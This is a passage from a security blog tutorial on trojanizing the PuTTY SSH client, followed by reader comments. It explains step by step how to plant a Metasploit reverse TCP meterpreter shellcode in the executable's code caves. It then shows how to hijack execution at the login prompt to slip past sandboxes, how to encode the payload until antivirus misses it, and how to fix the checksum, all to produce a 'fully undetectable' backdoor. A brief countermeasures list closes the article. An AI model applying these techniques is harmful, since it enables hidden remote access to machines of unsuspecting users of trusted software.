the purpose of detecting errors which may have been introduced during its
transmission or storage. It is usually applied to an installation file after it is
received from the download server. By themselves, checksums are often used to
verify data integrity but are not relied upon to verify data authenticity.

Main Methods
All the implementations and examples in this paper will be over putty SSH client
executable. There are several reason for selecting putty for backdooring
practice, one of them is putty client is a native C++ project that uses multiple
libraries and windows APIs, another reason is backdooring a SSH client attracts
less attention, because of program is already performing TCP connection it will
be easier to avoid blue team network monitoring,
The backdoor code that will be used is Stephen Fevers reverse TCP
meterpreter shellcode from metasploit project. The main goal is injecting the
meterpreter shellcode to target PE file without disrupting the actual functionality
of the program. Injected shellcode will execute on a new thread and will try to
connect to the handler continuously. While doing all these, another goal is
keeping the detection score as low as possible.
The common approach for implanting backdoors in PE files consists of 4 main
steps;
1) Finding available space for backdoor code
2) Highjacking execution flow
3) Injecting backdoor code
4) Restoring execution flow
In each step there are small details which is the key for implanting consistent,
durable and undetectable backdoors.

Available Space Problem


Finding available space is the first step that needs to be done, how you select
the right space inside PE file to insert backdoor code is very important, the
detection score of backdoored file highly depends on how you decide on solving
the space problem.There are two main approaches for solving the space
problem,
1) Adding a New Section
This one has more drawbacks with detection score compared to the other
approach but with appending a whole new section there is no space limit for the
backdoor code that will be implanted.
With using a dis assembler or PE editor like LordPE, all PE files can be enlarged
with adding a new section header, here is the section table of putty executable,
with the help of PE editor, new section NewSec added with the size of 1000
bytes,
While creating a new section, setting the section flags as Read/Write/Execute
is vital for running the backdoor shellcode when PE image mapped on the
memory.

After adding the section header the file size needs to be adjusted, this can be
easily achieved with adding null bytes with the size of the section at the end of
the file on a hex editor.
After these operations new empty section is successfully added to the file,
running the file after adding a new section is suggested in case of any errors, if
the executable is running smoothly the new section is ready to be modified on a
debugger.

Solving the space problem with adding a new section has few drawbacks on anti
detection score, almost all AV products recognizes uncommon sections and
giving all (Read/Write/Execute) permission to an uncommon section is surely
very suspicious.
Even when adding a empty full permission section to putty executable, it gets
flagged as malicious by some AV products.
2) Code Caves
Second approach for solving the space problem is using the code caves of the
target executable. Almost all compiled binary files have code caves that can be
used when backdooring operations. Using code caves instead of new added
sections attracts far less AV product because of using already existing common
sections. Also overall size of the PE file will not changed at the end of
backdooring process but this method also has few drawbacks.
The number and size of the code caves varies file to file but generally there is
not so much space compared to adding a new section. When using code caves,
backdoor code should be trimmed as much as possible. Another drawback is the
section flags. Since the execution of the application will be redirected to the
cave, the section which contains the cave should have execute privileges,
even some shellcodes (encoded or obfuscated in a self modifying way) needs
also write privileges in order to make changes inside the section.
Usage of multiple code caves will help overcoming the space limitation problem
also splitting the backdoor code to pieces will have a positive affect on detection
score but unfortunately changing the section privileges will look suspicious.
There are few advanced methods that modifies the memory region privileges on
runtime in order to avoid changing the section privileges directly, but because of
those methods requires custom crafted shellcodes, encodes and IAT parsing
techniques, it will be next articles subject.
With the help of a tool called Cminer it is very easy to enumerate all code caves
of a binary file, ./Cminer putty.exe 300 command enumerates the code caves
witch is bigger than 300 bytes,
In this case there are 5 good code caves that can be used. Start address gives
the virtual memory address (VMA) of the cave. This is the address of the cave
when PE file loaded into memory, file offset is the location address of cave inside
the PE file in terms of bytes.
It seems most of the caves are inside data sections, because of data sections
doesnt have execute privileges section flags, needs to be changed. Backdoor
code will be around 400-500 bytes so cave 5 should be more than enough. The
start address of selected cave should be saved, after changing the section
privileges to R/W/E the first step of backdooring process will be completed. Now
its time to redirecting the execution.

Hijacking Execution Flow


In this step, the goal is redirecting the execution flow to the backdoor code by
modifying a instruction from target executable. There is one important detail
about selecting the instruction that will be modified. All binary instructions has a
size in manner of bytes, in order to jump to the backdoor code address, a long
jump will be used which is 5 or 6 bytes. So when patching the binary, the
instruction that will be patched needs to be the same size with a long jump
instruction, otherwise the previous or next instruction will be corrupted.
Selecting the right space for redirecting the execution is very important for
bypassing the dynamic and sandbox analysis mechanisms of AV products. If
redirection occurs directly it will probably be detected at the dynamic analysis
phase of AV scanners.
Hiding Under User Interaction:
The first things that comes in mind for bypassing sandbox/dynamic analysis
phase is delaying the execution of the shellcode or designing sandbox aware
shellcodes and trigger mechanisms. But when backdooring, most of the time
there is not so much space for adding these kind of extra code inside PE file.
Also designing anti detection mechanisms in assembly level languages requires
a lot of time and knowledge.
This method takes advantage of functions that requires user interactions in
order to perform operations, redirecting the execution inside such functions will
serve as a trigger mechanism for activating the backdoor code only if when a
real user operating the program. If this method can be implemented correctly, it
will have %100 success rate and it will not increase the backdoor code size.
The Open button on putty executable UI launches a function that checks the
validity of the given IP address,

If the IP address field value is not empty and valid, it launches a connection
function that tries to connect the given IP address.
If client successfully creates a SSH session a new windows pops up and asks for
credentials,
This will be the point that redirection will occur, since no AV product is not
advanced enough for replicating this kind of complex usage, the implanted
backdoor will not be detected whit automated sandbox and dynamic analysis
mechanisms.
With using basic reverse engineering methods like following strings and string
references it will not be hard to find the address of the connection function. After
client establishes a connection with the given IP, there is a string login as:
printed to the appeared window. This string will help us find the address of the
connection function, IDA Pro does a very good job in terms of following the string
references.
For finding the login as: string open Views->Open Subviews->Strings on
IDA
After finding the string double click on it for going to location, inside data
sections IDA finds all the cross references that have made for the strings, with
pressing Ctrl+X it shows all cross references,
This reference made inside the function that prints the login as: string,

This will be the instruction that is going to be patched, before making any
changes take note of the instruction. After the execution of the backdoor code it
will be used again.

With changing the PUSH 467C7C instruction to JMP 0x47A478 redirection phase of
backdooring process is completed. It is important to take note of the next
instruction address. It will be used as returning address after the execution of
the backdoor code. Next step will be injecting the backdoor code.

Injecting Backdoor Code


While injecting backdoor code the first think that needs to be done is saving the
registers before the execution of the backdoor. Every value inside all registers is
extremely important for the execution of the program. With
placing PUSHAD and PUSHFD instructions at the begging of the code cave all the
registers and register flags are stored inside stack. These values will popped
back after the execution of the backdoor code so the program can continue
execution without any problem.

As mentioned earlier, the backdoor code that will be used is meterpreter reverse
TCP shellcode from metasploit project. But there needs to be few changes inside
shellcode. Normally reverse TCP shellcode tries to connect to the handler given
number of times and if the connection fails it closes the process by calling a
ExitProcess API call.

The problem here is, if the connection to handler fails the execution of the putty
client will stop, with changing few lines of the shellcodes assembly now every
time connection fails shellcode will retry to connect to the handler, also size of
the shellcode is decreased.

After making the necessary changes inside assembly code compile it with nasm
-f bin stager_reverse_tcp_nx.asm command. Now the reverse TCP shellcode is ready to
use, but it will not be placed directly. The goal is executing the shellcode on a
new thread. In order to create a new thread instance, there needs to be another
shellcode that makes a CreateThread API call that is pointing to reverse TCP
shellcode. There is also a shellcode for creating threads inside metasploit project
written by Stephen Fever,
After placing the shellcode bytes inside createthread.asm file in hex format like
above, it is ready to be assembled with nasm -f bin createthread.asm command. At
this point the shellcode is ready to be inserted to the cave but before inserting
the shellcode it should be encoded in order to bypass the static/signature
analysis mechanisms of AV products. Because of all encoders inside metasploit
project are known by majority of AV products, using custom encoders is highly
suggested. This paper will not cover the making of such custom shellcode
encoders because it will be yet another articles subject but using multiple
metasploit encoders may also work. After each encoding process uploading the
encoded shellcode to virus total in raw format and checking the detection score
is suggested. Try every combination until it gets undetected or wait for the next
article .

After properly encoding the shellcode, it is time for inserting it to the code cave.
Select the instruction just under the PUSHFD and press Ctrl+E on immunity
debugger, shellcode will be pasted here in hex format.

With xxd -ps createthread command, print the encoded createthread shellcode in
hex format or open the shellcode with a hex editor and copy the hex values.
While pasting the hex values to debugger be careful about the byte limit, these
patching operations are made with immunity debugger and immunity debugger
has a byte limit when pasting to edit code window. It will not paste all of the
shellcode, remember the last 2 byte of the pasted shellcode inside edit code
window, after pressing the OK button continue pasting the bytes where they
end, when all shellcode is pasted to code cave the insertion of the backdoor
code is complete.

Restoring Execution Flow


After the creation of the backdoor code thread, the program needs to turn back t
o its ordinary execution, this means EIP should jump back to the function that re
directed the execution to the cave.
But before jumping back to that function all the saved register should be retriev
ed.

With placing POPFD and POPAD instruction at the end of the shellcode, all saved
register are poped backed from stack in the same order. After retrieving the
registers there is one more think to do before jumping back. It is executing the
hijacked instruction, the PUSH 467C7C instruction was replaced with JMP
0x47A478 in order to redirect the execution of the program to the code cave. Now
with placing the PUSH 467C7C instruction at the end, hijacked instruction is
retrieved also. It is time for returning back to the function that redirected the
execution to the cave with inserting JMP 0x41CB73 instruction, at the end the
resulting code should look like like below.

At the end select all patched and inserted instruction, press right-click and Copy
to executable. This operation should be done to every instruction that have been
modified. When all instructions are copied and saved to file, close the debugger
and test out the executable, if executable is running smoothly the backdoor is
ready to use.
Finally, fixing the final file checksum is suggested for preserving authenticity of
the file and not to look suspicious, also this may have a effect on decreasing the
detection score.

Conclusion & Preventive Measures


At the end, when all methods are applied properly, resulting backdoor is fully
undetectable. For serving the concept of security in both ways this paper will
also point out the counter measures against these backdooring techniques,
these measures can be helpful for sysadmins, malware annalists and anti
virus/malware product developers.
1) Section Privilege Controls
When talking about backdoored files, the section privileges are very important
for detecting anomalies, current compilers are never going to set full
permissions to a section unless programmer wants it to, especially data section
like .data or .rdata shouldnt have execute privileges, also code sections like
.text shouldnt have write privileges, these anomalies should be considered as
suspicious behavior.
2) Uncommon Section recognition
If programmers doesnt makes any configurations compilers usually creates 5-6
generic types of sections, all security products should posses a mechanism for
recognizing uncommon and suspicious sections, this mechanism can look for
the entropy and data alignment inside sections, if a section contains high
entropy and unusually ordered data, it should be considered suspicious.
3) Signature Checks
This countermeasure is very classic but yet it is the most effective, when
downloading a new program or any piece of executable file, checking the sha1
signature is the safest way for evading backdoored files in your system.
4) Checking File Checksum
When there is a difference between the checksum value inside image header
and the actual checksum of the file, this indicates that the file has been
modified, security products and sysadmins should check the authenticity of the
file with calculating the actual checksum and comparing it with the image
header.
POC
Its time to see our beloved backdoored putty on action .
References
http://NoDistribute.com/result/image/Ye0pnGHXiWvSVErkLfTblmAUQ.png
https://github.com/secretsquirrel/the-backdoor-factory
https://www.shellterproject.com/
https://en.wikipedia.org/wiki/Red_team
https://en.wikipedia.org/wiki/Address_space_layout_randomization
https://en.wikipedia.org/wiki/Code_cave
https://en.wikipedia.org/wiki/Checksum

antidetection backdoors binary patching reversing

EGE BALCI

Pentest ninja @ Prodaft / INVICTUS Europe. Twitter: @egeblc Github: EgeBalci

9 thoughts on Art of Anti Detection 2 PE Backdoor


Manufacturing

1. ALISSON

January 11, 2017 at 11:29 PM

Amazing tutorial! thanks for sharing.

REPLY

2. GRACIOUS_VIRII

January 19, 2017 at 4:48 PM

Great article and very well explained. Gonna try this in my lab a soon as I get home. Thanks
for sharing NoDistribute.com also, didnt know it existed
REPLY

3. HACKER

January 24, 2017 at 4:34 AM

Hi.
I have a question.
How do I generate stager_reverse_tcp_nx code?

REPLY

1. EGE BALCI

January 24, 2017 at 11:32 AM

You can find the assembly code inside metasploit project


https://github.com/rapid7/metasploit-
framework/blob/master/external/source/shellcode/windows/x86/src/stager/stager_rev
erse_tcp_nx.asm
you need to include necessary assembly blocks in order to assemble it, you can also
find them inside metasploit /external/source/shellcode/windows/x86/src/block/
folder.

REPLY

4. NOMNOM

February 17, 2017 at 3:48 PM

Dier yazlarnda antivirs olarak ESET NOD32 kullanabilir misin ?


Zemanay videoda vmsn lakin milad dolmu bir gerek zamanl korumas var.

REPLY

5. BIR DOST

February 19, 2017 at 6:22 PM


There is no rule that any software will be malware because it makes a reverse connection,
and antiviruses do not have any promises of catching such activities! Such activities can be
detected by the endpoint security products with the modules they have, if so configured. In
addition, we can easily say that the pe file injection method is filled in these days when all
the signed executables are in a dominant position. I think it would be more useful to lean on
fileless malware samples.

REPLY

1. EGE BALCI

February 20, 2017 at 12:22 AM

First of all i did not say all software that makes reverse connection is
malware but i think the main aim of anti virus products is obvious, they

simply need to protect the environment against malicious softwares, this paper
explains how to place a backdoor(witch is a malicious software) to a PE file without
getting detected and as you can see from the POC these techniques works well. As
you sad AV products can be configured for catching the malware that uses these
techniques but such configuration will be extremely limiting for the other harmless
softwares and probably there will be a lot of false positives. Finally i think PE injection
techniques have still more time around, tanks for your comments i was also thinking
on writing about fileless malwares so keep in touch

REPLY

6. MALWARECON

April 11, 2017 at 2:19 PM

The problem here is, if the connection to handler fails the execution of the putty client will
stop, with changing few lines of the shellcodes assembly now every time connection fails
shellcode will retry to connect to the handler, also size of the shellcode is decreased
if shellcode not to be connected to a handler, then he will go in cycles, and behind him and
putty that will be very suspicious =)
Because at an original shellcode not for nothing there are lines:
handle_failure:
dec dword [esi+8]
jnz short try_connect

REPLY
1. EGE BALCI

April 11, 2017 at 2:42 PM

I didnt quite understand what you are saying but in case of a handler or connection
failure shellcode will retry to connect to the handler with calling the try_connect
function repeatedly, i think making too much TCP connection attempts will not
considered a suspicious think for a ssh client but creating raw loop conditions with
assembly instruction may increase the CPU usage, it would be better to call a sleep
function inside the loop.

You might also like